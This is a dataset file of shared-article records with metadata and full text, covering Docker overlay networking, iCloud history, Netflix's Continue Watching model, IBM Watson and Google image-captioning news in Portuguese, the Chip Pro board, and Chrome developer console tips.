1476287992,CONTENT SHARED,7727369224210483739,-8020832670974472349,1083873924145370617,Android - Native Mobile App,SP,BR,HTML,http://blog.nigelpoulton.com/demystifying-docker-overlay-networking/,Demystifying Docker overlay networking,"Docker overlay networking is insanely simple to configure. I mean insanely simple! But lurking beneath the simplicity of the setup are a bunch of moving parts that you really wanna understand if you're gonna deploy this stuff in your prime-time production estate. Anyway... last week I attended the Docker Open Systems Summit in Berlin and got the chance to hang out with some of the networking gods at Docker. My eyes were opened while at the same time my mind was blown! It was intense, but I learned a shed load! So... I thought I'd write up what I learned and add it as a networking chapter in my book Docker for Sysadmins . What follows here is a major excerpt from that chapter. Enjoy! . . . . . The rest of this chapter will be broken into two parts: - Part 1: we'll build and test a Docker overlay network in swarm mode - Part 2: We'll explain the theory behind how it works. Part 1: Build and test a Docker overlay network in swarm mode For the following examples we'll use two Docker hosts on two separate Layer 2 networks connected by a router as shown below Each host is running Docker 1.12 or higher and a 4.4 Linux kernel (newer is always better). Build a swarm The first thing we'll do is configure the two hosts into a two-node Swarm. We'll run the ` docker swarm init ` command on node1 to make it a manager , and then we'll run the ` docker swarm join ` command on node2 to make it a worker . > Warning: If you are following along in your own lab you'll need to swap the IP addresses, container IDs, tokens etc. with the correct values for your environment. Run the following command on node1 . Run the next command on node2 . We now have a two-node Swarm where node1 is a manager and node2 is a worker. Create a new overlay network Now let's create a new overlay network called uber-net . Run the following command from node1 . That's it! You've just created a brand new overlay network that is available to all hosts in the swarm and has its control plane encrypted with TLS! You can list all networks on each node with the ` docker network ls ` command. The network we created is at the bottom of the list called uber-net . The other networks were automatically created when Docker was installed and when we created the swarm. We're only interested in the uber-net overlay network. If you run the ` docker network ls ` command on node2 you'll notice that it can't see the uber-net network. This is because new overlay networks are only made available to worker nodes that have containers using the overlay. This reduces the scope of the network gossip protocol and helps with scalability. Attach a service to the overlay network Let's create a new Docker service and attach it to the uber-net overlay network. We'll create the service with two replicas (containers) so that one runs on node1 and the other runs on node2 . This will automatically extend the uber-net overlay to node2 . Run the following commands from node1 . The command creates a new service called test , attaches it to the uber-net overlay network, and creates two containers (replicas) running the ` sleep infinity ` command. This command makes sure the containers don't immediately exit. Because we're running two containers (replicas) and the Swarm has two nodes, one container will run on each node. Verify the operation with a ` docker service ps ` command. When Swarm starts a container on an overlay network it automatically extends that network to the node the container is running on. This means that the uber-net network is now visible on node2 . Congratulations! You've created a new overlay network spanning two nodes on separate physical underlay networks, and you've scheduled two containers to use the network. How simple was that! Test the overlay network Now let's test the overlay network with the ping command. In order to do this, we need to do a bit of digging around to get each container's IP address. From node1 run a ` docker network inspect ` to see the Subnet assigned to the overlay. The output above shows that uber-net 's subnet is ` 10.0.0.0/24 `. Note that this does not match either of the physical underlay networks (`172.31.1.0/24` and `192.168.1.0/24`). Run the following two commands on node1 and node2 to get the container ID's and their IP addresses. Make sure you run these commands on both nodes to get the IP addresses of both containers. The diagram below shows the configuration so far. As we can see, there is a Layer 2 overlay network spanning both hosts, and each container has an IP address on this overlay network. This means that the container on node1 will be able to ping the container on node2 using it's ` 10.0.0.4 ` address from the overlay network. This works despite the fact that both nodes are on separate Layer 2 underlay networks. Let's prove it. Log on to the container on node1 and install the ` ping ` utility and then ping the container on node2 using its ` 10.0.0.4 ` IP address. If you're following along, the container ID used below will be different in your environment. As shown above, the container on node1 can ping the container on node2 using the overlay network. If you install ` traceroute ` on the container, and trace the route to the remote container, you'll see only a single hop (see below). This proves that the containers are talking directly over the overlay network and are blissfully unaware of any underlay networks being traversed. So far we've created an overlay network with a single command. We then added containers to the overlay network on two hosts on two different Layer 2 networks. Once we worked out the container's IP addresses, we proved that they could talk directly over the overlay network. Part 2: The theory of how it all works Now that we've seen how to build and use a container overlay network, let's find out how it's all put together behind the scenes. VXLAN primer First and foremost, Docker overlay networking uses VXLAN tunnels as the underlying for creating virtual Layer 2 overlay networks. So before we go any further, let's do a quick primer on VXLAN technology. At the highest level, VXLANs let you create a virtual Layer 2 network on top of an existing Layer 3 infrastructure. The example we used earlier created a new 10.0.0.0/24 Layer 2 network on top of a Layer 3 IP network comprising two Layer 2 networks - 172.31.1.0/24 and 192.168.1.0/24. This is shown below. The beauty of VXLAN is that existing routers and network infrastructure just see the VXLAN traffic as regular IP/UDP packets and handle them without issue. To create the virtual Layer 2 overlay network a VXLAN tunnel is created through the underlying Layer 3 IP infrastructure. You might hear the term underlay network used to refer to the underlying Layer 3 infrastructure. Each end of the VXLAN tunnel is terminated by a VXLAN Tunnel Endpoint (VTEP). It's this VTEP that performs the encapsulation/de-encapsulation and other magic required to make all of this work. See below. Walk through our two-container example In the example we built earlier, we had two hosts connected via an IP network. Each host ran a single container, and we created a single VXLAN overlay network for the containers to use. To accomplish this the a new network namespace was created on each host. A network namespace is like a container, but instead of running an application it runs an isolated network stack - one that's sandboxed from the network stack on the host itself. A virtual switch (a.k.a virtual bridge) called Br0 is created inside the network namespace. A VTEP is also created with one end plumbed into the Br0 virtual switch, and the other end plumbed into the host network stack. The end in the host network stack gets an IP address on the underlay network the host is connected to and is bound to a UDP socket on port 4789. The two VTEPs on each host create the overlay via a VXLAN tunnel as shown below. This is essentially the VXLAN overlay network created and ready for use. Each container then gets its own virtual Ethernet ( veth ) adapter that is also plumbed into the local Br0 virtual switch. The topology now looks like the image below, and it should be getting easier to see how the two containers can communicate over the VXLAN overlay network despite their hosts being on two separate networks. Communication example Now that we've seen the main plumbing elements let's see how the two containers communicate. For this example, we'll call the container on node1 "" C1 "" and the container on node2 "" C2 "". And let's assume C1 wants to ping C2 like we did in the practical example earlier in the chapter. Container C1 creates the ping requests and sets the destination IP address to be the `10.0.0.4` address of C2 . It sends the traffic over its veth interface which is connected to the Br0 virtual switch. The virtual switch doesn't know where to send the packet as it doesn't have an entry in its MAC address table (ARP table) that corresponds to the destination IP address. As a result, it floods the packet to all ports. The VTEP interface connected to Br0 knows how to forward the frame so responds with its own MAC address. This is a proxy ARP reply and results in the Br0 switch learning how to forward the packet and it updates its ARP table mapping 10.0.0.4 to the MAC address of the VTEP. Now that the Br0 switch has learned how to forward traffic to C2 all future packets for C2 will be transmitted directly to the VTEP interface. The VTEP interface knows about C2 because all newly started containers have their network details propagated to other nodes in the swarm using the network's built-in gossip protocol. The switch then sends the packet to the VTEP interface which encapsulates the frames so they can be sent over the underlay transport infrastructure. At a fairly high level this encapsulation includes adding a VXLAN header to the Ethernet frame. The VXLAN header contains the VXLAN network ID (VNID) which is used to map frames from VLANs to VXLANs and vice versa. Each VLAN gets mapped to VNID so that on the receiving end the packet can be de-encapsulated and forwarded on to the correct VLAN. This obviously maintains network isolation. The encapsulation also wraps the frame in a IP/UDP packet with the IP address of the VTEP on node2 in the destination IP field and the UDP port 4789 socket information. This encapsulation allows the data to be sent across the underlying networks without the underlying networks having to know anything about VXLAN. When the packet arrives at node2 , the kernel sees that it's addressed to UDP port 4789. The kernel also knows that it has a VTEP interface bound to that socket. As a result, it sends the packet to the VTEP which reads the VNID, de-encapsulates the packet and sends it on to its own local Br0 switch on the VLAN that corresponds the VNID. From there it is delivered to container C2 . That's the basics of how VXLAN technology is leveraged by native Docker overlay networks. We're only scratching the surface here, but it should be enough for you to be able to start the ball rolling with any potential production Docker deployments. It should also give the knowledge required to talk to your networking team about the networking aspects of your Docker infrastructure. One final thing to mention about Docker overlay networks is that Docker also supports Layer 3 routing within the same overlay network. For example, you can create an overlay network with two subnets, and Docker will take care of routing between them. The command to create a network like this could be ` docker network create -subnet=10.1.1.0/24 -subnet=11.1.1.0/24 -d overlay prod-net `. This would result in two virtual switches Br0 and Br1 being created inside the network namespace and routing happens by default. This has been an excerpt from chapter 9 of my book ""Docker for Sysadmins"" available from the Kindle store or Leanpub . NOTE: Existing Kindle owners may have to wait a day or two to get the updates. New purchasers will get the new version immediately. Thanks for reading my book!",en
1476297070,CONTENT SHARED,8946250624470221174,-709287718034731589,3425252652254775769,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://www.cultofmac.com/448947/today-apple-history-icloud-takes-files-photos-sky/,Today in Apple history: iCloud takes our files and photos to the sky | Cult of Mac,"Steve Jobs called iCloud Apple's hard disk in the sky. Photo: Apple October 12, 2011: Apple officially launches iCloud, letting users automatically and wirelessly store content and push it to their various devices. The arrival of iCloud officially marks the end of Apple's ""digital hub"" strategy - and ushers in an age of inter-device communication and non-localized files that Apple continues to build on today. The end of the digital hub iCloud was presented by Steve Jobs, who died prior to its launch, at the last keynote event he was ever involved with - at 2011's WWDC. It essentially replaced Jobs' vision of the digital hub, whereby the Mac would take center stage as the hub for centralizing media from other devices and syncing various Apple devices. The concept worked well for close to ten years, although the writing was on the wall the moment Apple introduced the iPhone in 2007. The reason for this is that the iPhone was no straightforward peripheral to be plugged into your Mac, but a constantly-connected internet-enabled devices that, for many users, replaced their need for a PC. From 2008, Jobs' vision for a digital hub gave way to one based around cloud computing. Apple's first attempt at this was a 2008 product called MobileMe, which charged $99 per year to store address books, documents, images and more in the cloud, and then distribute these to other devices. The problem was that it was unreliable. ""Can anyone tell me what MobileMe is supposed to do?"" Jobs barked at the team responsible. When he received answers, he snapped back, ""So why the fuck doesn't it do that?"" Having apparently ""tarnished Apple's reputation"" with the disastrous service, MobileMe was scrapped and Eddy Cue was given a new job overseeing the entirety of Apple's internet content. What emerged from the ashes of MobileMe was iCloud, which Jobs joked was essentially a big hard disk in the sky - although, of course, it was much more than this. ""iCloud is the easiest way to manage your content, because iCloud does it all for you and goes far beyond anything available today,"" Eddy Cue said in a statement concerning its launc h. ""You don't have to think about syncing your devices, because it happens automatically, and it is free."" Having received somewhat mixed responses over the years, iCloud hasn't necessarily been one of Apple's unequivocal successes, although it's certainly a world better than MobileMe. The company has also continued to develop it and iron out various bugs. Earlier this year, it was reported that Apple is planning to bring its iCloud data services in-house , rather than relying on Amazon Web Services for its cloud server needs. Much like Siri - a.k.a. Steve Jobs' other pet project during the last year of his life - iCloud has since played a larger and larger role in Apple's plans. From being a useful way to get hold of iTunes songs on all of your Apple devices, the centrality of iCloud Drive, which previously worked a bit like an Apple-branded Dropbox, can be seen throughout macOS Sierra . As Apple continues to embrace its ""wireless future,"" iCloud will only play more of a role in Apple's plans. Do you use iCloud? If so - or if you've ditched it for another service - what's your appraisal of it? Leave your comments below.",en
1476315060,CONTENT SHARED,363798057559041921,-1443636648652872475,-7081173815338108946,Android - Native Mobile App,SP,BR,HTML,http://techblog.netflix.com/2016/10/to-be-continued.html,To Be Continued: Helping you find shows you want to continue watching,"While most recommendation work focuses on discovery, in this post, we focus on the continuation mode and explain how we used machine learning to improve the member experience for both modes. In particular, we focus on a row called ""Continue Watching"" (CW) that appears on the main page of the Netflix member homepage on most platforms. This row serves as an easy way to find shows that the member has recently (partially) watched and may want to resume. As you can imagine, a significant proportion of member streaming hours are spent on content played from this row. Previously, the Netflix app in some platforms displayed a row with recently watched shows (here we use the term show broadly to include all forms of video content on Netflix including movies and TV series) sorted by recency of last time each show was played. How the row was placed on the page was determined by some rules that depended on the device type. For example, the website only displayed a single continuation show on the top-left corner of the page. While these are reasonable baselines, we set out to unify the member experience of CW row across platforms and improve it along two dimensions: Improve the placement of the row on the page by placing it higher when a member is more likely to resume a show (continuation mode), and lower when a member is more likely to look for a new show to watch (discovery mode) Improve the ordering of recently-watched shows in the row using their likelihood to be resumed in the current session Intuitively, there are a number of activity patterns that might indicate a member's likelihood to be in the continuation mode. For example, a member is perhaps likely to resume a show if she: is in the middle of a binge; i.e., has been recently spending a significant amount of time watching a TV show, but hasn't yet reached its end has partially watched a movie recently has often watched the show around the current time of the day or on the current device On the other hand, a discovery session is more likely if a member: has just finished watching a movie or all episodes of a TV show hasn't watched anything recently These hypotheses, along with the high fraction of streaming hours spent by members in continuation mode, motivated us to build machine learning models that can identify and harness these patterns to produce a more effective CW row. Building a Recommendation Model for Continue Watching While brainstorming for features, we considered many ideas for building the CW models, including: Data about member's subscription, such as the length of subscription, country of signup, and language preferences How active has the member been recently Member's past ratings and genre preferences Features encoding information about a show and interactions of the member with it: How recently was the show added to the catalog, or watched by the member How much of the movie/show the member watched Metadata about the show, such as type, genre, and number of episodes; for example kids shows may be re-watched more The rest of the catalog available to the member Popularity and relevance of the show to the member How often do the members resume this show Two applications, two models As mentioned above, we have two tasks related to organizing a member's continue watching shows: ranking the shows within the CW row and placing the CW row appropriately on the member's homepage. To rank the shows within the row, we trained a model that optimizes a ranking loss function. To train it, we used sessions where the member resumed a previously-watched show - i.e., continuation sessions - from a random set of members. Within each session, the model learns to differentiate amongst candidate shows for continuation and ranks them in the order of predicted likelihood of play. When building the model, we placed special importance on having the model place the show of play at first position. We performed an offline evaluation to understand how well the model ranks the shows in the CW row. Our baseline for comparison was the previous system, where the shows were simply sorted by recency of last time each show was played. This recency rank is a strong baseline (much better than random) and is also used as a feature in our new model. Comparing the model vs. recency ranking, we observed significant lift in various offline metrics. The figure below displays Precision@1 of the two schemes over time. One can see that the lift in performance is much greater than the daily variation. This model performed significantly better than recency-based ranking in an A/B test and better matched our expectations for member behavior. As an example, we learned that the members whose rows were ranked using the new model had fewer plays originating from the search page. This meant that many members had been resorting to searching for a recently-watched show because they could not easily locate it on the home page; a suboptimal experience that the model helped ameliorate. Row placement To place the CW row appropriately on a member's homepage, we would like to estimate the likelihood of the member being in a continuation mode vs. a discovery mode. With that likelihood we could take different approaches. A simple approach would be to turn row placement into a binary decision problem where we consider only two candidate positions for the CW row: one position high on the page and another one lower down. By applying a threshold on the estimated likelihood of continuation, we can decide in which of these two positions to place the CW row. That threshold could be tuned to optimize some accuracy metrics. Another approach is to take the likelihood and then map it onto different positions, possibly based on the content at that location on the page. In any case, getting a good estimate of the continuation likelihood is critical for determining the row placement. In the following, we discuss two potential approaches for estimating the likelihood of the member operating in a continuation mode. Reusing the show-ranking model A simple approach to estimating the likelihood of continuation vs. discovery is to reuse the scores predicted by the show-ranking model. More specifically, we could calibrate the scores of individual shows in order to estimate the probability P (play( s )=1) that each show s will be resumed in the given session. We can use these individual probabilities over all the shows in the CW row to obtain an overall probability of continuation; i.e., the probability that at least one show from the CW row will be resumed. For example, under a simple assumption of independence of different plays, we can write the probability that at least one show from the CW row will be played as: Dedicated row model In this approach, we train a binary classifier to differentiate between continuation sessions as positive labels and sessions where the user played a show for the first time (discovery sessions) as negative labels. Potential features for this model could include member-level and contextual features, as well as the interactions of the member with the most recent shows in the viewing history. Comparing the two approaches, the first approach is simpler because it only requires having a single model as long as the probabilities are well calibrated. However, the second one is likely to provide a more accurate estimate of continuation because we can train a classifier specifically for it. Tuning the placement In our experiments, we evaluated our estimates of continuation likelihood using classification metrics and achieved good offline metrics. However, a challenge that still remains is to find an optimal mapping for that estimated likelihood, i.e., to balance continuation and discovery. In this case, varying the placement creates a trade-off between two types of errors in our prediction: false positives (where we incorrectly predict that the member wants to resume a show from the CW row) and false negatives (where we incorrectly predict that the member wants to discover new content). These two types of errors have different impacts on the member. In particular, a false negative makes it harder for members to continue bingeing on a show. While experienced members can find the show by scrolling down the page or by using the search functionality, the additional friction can make it more difficult for people new to the service. On the other hand, a false positive leads to wasted screen real estate, which could have been used to display more relevant recommendation shows for discovery. Since the impacts of the two types of errors on the member experience are difficult to measure accurately offline, we A/B tested different placement mappings and were able to learn the appropriate value from online experiments leading to the highest member engagement. Context Awareness One of our hypotheses was that continuation behavior depends on context: time, location, device, etc. If that is the case, given proper features, the trained models should be able to detect those patterns and adapt the predicted probability of resuming shows based on the current context of a member. For example, members may have habits of watching a certain show around the same time of the day (for example, watching comedies at around 10 PM on weekdays). As an example of context awareness, the following screenshots demonstrate how the model uses contextual features to distinguish between the behavior of a member on different devices. In this example, the profile has just watched a few minutes of the show ""Sid the Science Kid"" on an iPhone and the show ""Narcos"" on the Netflix website. In response, the CW model immediately ranks ""Sid the Science Kid"" at the top position of the CW row on the iPhone, and puts ""Narcos"" at the first position on the website. Serving the Row Members expect the CW row to be responsive and change dynamically after they watch a show. Moreover, some of the features in the model are time and device dependent and can not be precomputed in advance, which is an approach we use for some of our recommendation systems. Therefore, we need to compute the CW row in real-time to make sure it is fresh when we get a request for a homepage at the start of a session. To keep it fresh, we also need to update it within a session after certain user interactions and immediately push that update to the client to update their homepage. Computing the row on-the-fly at our scale is challenging and requires careful engineering. For example, some features are more expensive to compute for the users with longer viewing history, but we need to have reasonable response times for all members because continuation is a very common scenario. We collaborated with several engineering teams to create a dynamic and scalable way for serving the row to address these challenges. Conclusion Having a better Continue Watching row clearly makes it easier for our members to jump right back into the content they are enjoying while also getting out of the way when they want to discover something new. While we've taken a few steps towards improving this experience, there are still many areas for improvement. One challenge is that we seek to unify how we place this row with respect to the rest of the rows on the homepage , which are predominantly focused on discovery. This is challenging because different algorithms are designed to optimize for different actions, so we need a way to balance them. We also want to be thoughtful about pushing CW too much; we want people to ""Binge Responsibly"" and also explore new content. We also have details to dig into like how to determine if a show is actually finished by a user so we can remove it from the row. This can be complicated by scenarios such as if someone turned off their TV but not the playing device or fell asleep watching. We also keep an eye out for new ways to use the CW model in other aspects of the product. Can't wait to see how the Netflix Recommendation saga continues? Join us in tackling these kinds of algorithmic challenges and help write the next episode.",en
1476321453,CONTENT SHARED,-5403733687257676872,3609194402293569455,637451982289487453,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://endeavor.org.br/inteligencia-artificial-watson/,Aplicações da Inteligência artificial | Endeavor Brasil,"Saiba como a inteligencia artificial do supercomputador Watson, da IBM, está mudando diferentes mercados, incluindo a medicina e o comércio Você já criou uma receita só sua? Não aquela coisa de abrir a geladeira, ver o que tem sobrando e juntar tudo numa bela gororoba autoral. Algo pensado, analisando os sabores e aromas de cada ingrediente para criar sua própria combinação. Bom, você pode nunca ter feito isso, mas um computador já. Um supercomputador chamado Watson, criado pela IBM. Com base em mais de 30 mil receitas, tabelas sobre o perfil molecular de compostos responsáveis por aroma e sabor e estudos acadêmicos sobre o assunto, a máquina de inteligência artificial criou receitas que hoje estão disponíveis em um livro (""Cognitive Cooking with Chef Watson"") e em um aplicativo. A culinária é apenas um dos mercados já impactados pela inteligência artificial: é difícil imaginar que ela não vá mudar -se já não está mudando- o seu setor. Hoje, já há vários exemplos, que vão do monitoramento de hábitos do consumidor à medicina. Startups costumam ser motores desse desenvolvimento, o que gera uma corrida de grandes companhias para incorporar os sistemas criados por elas. De acordo com a empresa de monitoramento de investimentos CB Insights, só neste ano foram feitas 40 aquisições de empresas criadoras de tecnologias avançadas de inteligência artificial. De 2011 para cá, foram cerca de 140 compras. ""Gigantes como Google, IBM, Yahoo!, Intel, Apple e Salesforce estão na corrida para comprar empresas de inteligência artificial"", diz a consultoria. Na próxima terça-feira (18), os participantes do CEO Summit poderão aprender mais sobre essa revolução com um de seus protagonistas, Mike Rhodin, vice-presidente da IBM para o Watson. As palestras do evento serão transmitidas ao vivo, gratuitamente, a partir das 9h - as inscrições podem ser feitas neste link. O Watson ganhou fama em fevereiro de 2011, ao vencer humanos no programa de perguntas e respostas ""Jeopardy"", da TV americana. Na época, tratava-se de uma máquina capaz de entender as perguntas em linguagem natural e respondê-las. Nesses cinco anos, evoluiu, ou, mais exatamente, aprendeu -a IBM abriu a plataforma para que empresas parceiras pudessem colaborar com seu desenvolvimento e usar a máquina para desafios maiores. Aqui, nós listamos alguns sistemas que já usam o sistema do Watson para resolver necessidades de diferentes mercados. Terapia online Talkspace é uma plataforma que permite que usuários encontrem um terapeuta a distância -as consultas são feitas virtualmente, quando o usuário vê necessidade de conversar com um profissional. No ano passado, a empresa começou a usar o supercomputador para entender melhor a personalidade dos clientes e conectá-los ao melhor profissional. O supercomputador analisa informações das conversas para entender a personalidade, as características sociais, o modo de pensar e o estresse emocional delas. Assim, a plataforma consegue conectá-lo ao terapeuta mais indicado e dar sugestões ao profissional. A ideia é que a máquina consiga aprender mais sobre cada cliente a cada nova consulta. Monitoramento de saúde personalizado e em tempo real No mês passado, a fabricante de equipamentos médicos Medtronic começou a testar a versão final do aplicativo Sugar.IQ, que usa informações geradas por sensores de glicose presentes em produtos da companhia para oferecer dados personalizados em tempo real aos pacientes sobre sua saúde. O objetivo é que ""pessoas com diabetes possam passar menos tempo se preocupando com seus dados e ter mais liberdade para simplesmente aproveitar a vida"", diz a companhia. O app pode informar ao paciente como aspectos de sua vida cotidiana -por exemplo, a alimentação- impactam seus níveis de glicose. Assim, o cliente pode tomar melhores decisões. Monitorar o desempenho de lojas A Benchmark Intelligence oferece um sistema que vasculha a internet para verificar o que os clientes estão dizendo sobre uma determinada empresa -em comentários deixados sobre o estabelecimento nos mapas do Google ou em sites como o Yelp. O Watson, então, analisa o que os clientes estão dizendo na rede e também em pesquisas e indica se é preciso fazer alguma mudança. O objetivo é medir a performance de diferentes lojas de uma rede para saber quais precisam mudar. Tornar a exploração de petróleo mais segura A Woodside, uma gigante australiana de petróleo, está usando a inteligência artificial para tornar suas estruturas mais seguras. A companhia ""apresentou"" ao Watson informações que englobam mais de mais de 20 anos, com milhões de documentos sobre seus projetos e sua estrutura -o ""know-how"" sobre a operação. O supercomputador, então, permitiu que os engenheiros tivessem acesso a ""insights"" sobre o sistema de modo instantâneo, em linguagem compreensiva. Assim, podem tomar decisões de modo mais rápido, inclusive em situações críticas. Fazer sugestões de presentes mais certeiras Uma das aplicações mais comuns da inteligência artificial hoje são os ""bots"", sistemas que simulam ações humanas, como conversar. Depois de uma leva de assistentes virtuais como a Siri, do iPhone, ou o Google Now, do Android, que respondem questões e ajudam o usuário a se programar, empresas estão criando suas próprias ferramentas para isso. Usando o sistema do Watsom, a loja de presentes e flores americana 1800flowers criou um sistema que dá sugestões de presentes aos usuários. É só responder: para qual ocasião são as flores, quem será presenteado etc., e o ""concierge"" faz as sugestões. A ideia é que a máquina ""aprenda"" os gostos do usuário no decorrer do tempo para fazer sugestões de presentes mais adequadas.",pt
1476327113,CONTENT SHARED,-7539647701814009718,3609194402293569455,637451982289487453,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://googlediscovery.com/2016/10/11/inteligencia-artificial-do-google-e-capaz-de-descrever-imagens/,Inteligência artificial do Google é capaz de descrever imagens | Google Discovery,"O Google anunciou que sua tecnologia de inteligência artificial, que utiliza um algoritmo open-source, tem sido capaz de descrever imagens com 94% de precisão. A empresa lançou recentemente seu algoritmo de código aberto ""Show and Tell"" para desenvolvedores capaz de reconhecer objetos em fotos com até 93,9% de precisão. Para efeito de comparação (e velocidade de desenvolvimento), a mesma tecnologia há dois anos mostrava uma habilidade de classificar corretamente 89,6 por cento das imagens. A evolução, entretanto, não está apenas em destacar os objetos mas entender o contexto da imagem. ""Por exemplo, um modelo de classificação de imagens irá dizer que um cão, grama e um frisbee estão na imagem, mas uma descrição natural deve também dizer a cor da grama e como o cão se relaciona com o frisbee"", escreveu a equipe do Google. O buscador afirma que a ferramenta para descrever fotos pode ser usada de várias maneiras. desde ajudar historiadores, pessoas com deficiência visual e outros pesquisadores de inteligência artificial.",pt
1476327859,CONTENT SHARED,2081512200574495983,3609194402293569455,637451982289487453,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://www.digitaltrends.com/computing/chip-pro-system-on-a-board-devices/,Chip Pro sequel to crowdsourced $9 computer sets its sights on gadget makers,"Last year, the $9 Chip computer made waves on Kickstarter, raising more than $2 million beyond its pledge goal of $50,000. Now, the company behind the device has unveiled its successor, a single-board computer aimed at engineers, start-ups, and manufacturers looking to develop a smart gadget. The Chip Pro is built around the GR8, a 32-bit 1GHz system-on-a-chip that's manufactured by Allwinner. It's fitted with an ARM Mali-400 GPU with RAM included in the processor package, according to a report from The Register . The device is intended to simplify the process of selecting and implementing a system-on-a-chip solution. At present, there are a wide array of different choices, some of which, however, don't have accurate technical documentation, or an easy method of sourcing large orders. Related: Computer and change for a $10 bill: First units of $9 computer are shipping now The Next Thing Co. wants to offer an alternative in the form of the Chip Pro. The device's hardware designs are open-source, and there's plenty of information available pertaining to all aspects of its usage. There's also a simplified pricing structure to keep things straightforward. The 14mm x 14mm GR8 chip itself costs $6, while the Chip Pro with storage and support for Bluetooth and Wi-Fi connections costs $16. This release will appeal to companies and individuals developing their own gadgets thanks to the flash programming services being offered up by The Next Thing Co. The laborious process of flashing and testing individual units can be avoided, as the company has established contracts with factories in China and Taiwan that will take care of these tasks before orders are delivered to the buyer. The Next Thing Co. expects to ship the Chip Pro in early 2017. The company is now accepting orders for development kits, which will ship in December 2016. A package containing two units costs $49, and is available from the Get Chip website .",en
1476360149,CONTENT SHARED,-3040610224044779845,801895594717772308,-6061043432083340716,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,https://medium.freecodecamp.com/10-tips-to-maximize-your-javascript-debugging-experience-b69a75859329?gi=581529e210bf,Things you probably didn't know you could do with Chrome's Developer Console,"Chrome comes with built-in developer tools. This comes with a wide variety of features, such as Elements, Network, and Security. Today, we'll focus 100% on its JavaScript console. When I started coding, I only used the JavaScript console for logging values like responses from the server, or the value of variables. But over time, and with the help of tutorials, I discovered that the console can do way more than I ever imagined. Here are useful things you can do with it. If you're reading this in Chrome (Or any other Browser) on a desktop, you can even open up its Developer Tools and try these out immediately. 1. Select DOM Elements If you're familiar with jQuery, you know how important the $('.class') and $('#id') selectors are. They select the DOM elements depending upon the class or ID associated with them. But when you don't have access to jQuery in the DOM, you can still do the same in the developer console. $('tagName') $('.class') $('#id') and $('.class #id') are equivalent to the document.querySelector(' '). This returns the first element in the DOM that matches the selector. You can use $$('tagName') or $$('.class') - note the double dollar signs - to select all the elements of the DOM depending on a particular selector. This also puts them into an array. You can again go ahead and select a particular element among them by specifying the position of that element in the array. For example, $$('.className') will give you all the elements that have the class className, and $$('.className')[0]and $$('.className')[1] will give you the first and the second element respectively. 2. Convert Your Browser Into An Editor How many times have you wondered whether you could edit some text in the browser itself? The answer is yes, you can convert your browser into a text editor. You can add text to and remove text from anywhere in the DOM. You don't have to inspect the element and edit the HTML anymore. Instead, go into the developer console and type the following: This will make the content editable. You can now edit almost anything and everything in the DOM. 3. Find Events Associated with an Element in the DOM While debugging, you must be interested in finding the event listeners bound to an element in the DOM. The developer console makes it easier to find these. getEventListeners($('selector')) returns an array of objectsthat contains all the events bound to that element. You can expand the objectto view the events: To find the Listener for a particular event, you can do something like this: This will display the listenerassociated with a particular event. Here eventName[0] is an array that lists all the events of a particular event. For example: ...will display the listener associated with the click event of element with ID 'firstName'. 4. Monitor Events If you want to monitor the events bound to a particular element in the DOM while they are executed, you can this in the console as well. There are different commands you can use to monitor some or all of these events: monitorEvents($('selector')) will monitor all the events associated with the element with your selector, then log them in the console as soon as they're fired. For example, monitorEvents($('#firstName')) will log all the events bound to the element with the ID of 'firstName' . monitorEvents($('selector'),'eventName') will log a particular event bound with an element. You can pass the event name as an argument to the function. This will log only a particular event bound to a particular element. For example, monitorEvents($('#firstName'),'click') will log all the click events bound to the element with the ID 'firstName'. monitorEvents($('selector'),['eventName1','eventName3',....]) will log multiple events depending upon your own requirements. Instead of passing a single event name as an argument, pass an array of strings that contains all the events. For example monitorEvents($('#firstName'),['click','focus']) will log the click event and focus events bound to the element with the ID 'firstName' . unmonitorEvents($('selector')) : This will stop monitoring and logging the events in the console. 5. Find the Time Of Execution of a Code Block The JavaScript console has an essential function called console.time('labelName') which takes a label name as an argument, then starts the timer. There's another essential function called console.timeEnd('labelName') which also takes a label name and ends the timer associated with that particular label. For example: The above two lines of code give us the time taken from starting the timer to ending the timer. We can enhance this to calculate the time taken for executing a block of code. For example, let's say I want to find the time taken for the execution of a loop. I can do like this: 6. Arrange the Values of a Variable into a Table Let's say we have an array of objects that looks like the following: When we type the variable name into the console, it gives us the values in the form of an array of objects. This is very helpful. You can expand the objects and see the values. But this gets difficult to understand when the properties increase. Therefore, to get a clear representation of the variable, we can display them in a table. console.table(variableName) represents the variable and all its properties in a tabular structure. Here's what this looks like: 7. Inspect an Element in the DOM You can directly inspect an element from the console: inspect($('selector')) will inspect the element that matches the selector and take you to the Elements tab in the Chrome Developer Tools. For example inspect($('#firstName')) will inspect the element with the ID 'firstName' and inspect($('a')[3]) will inspect the 4th anchor element you have in your DOM. $0, $1, $2, etc. can help you grab the recently inspected elements. For example $0 gives you the last-inspected DOM element, whereas $1 gives you the second last inspected DOM Element. 8. List the Properties of an Element If you want to list all the properties of an element, you can do that directly from the Console. dir($('selector')) returns an object with all of the properties associated with its DOM element. You can expand these to view them in more detail. 9. Retrieve the Value of your Last Result You can use the console as a calculator. And when you do this, you may need follow up one calculation with a second one. Here's how to retrieve the result of a previous calculation from memory: Here's what this looks like: 10. Clear the Console and the Memory If you want to clear the console and its memory, just type: Then press enter. That's all there is to it.",en
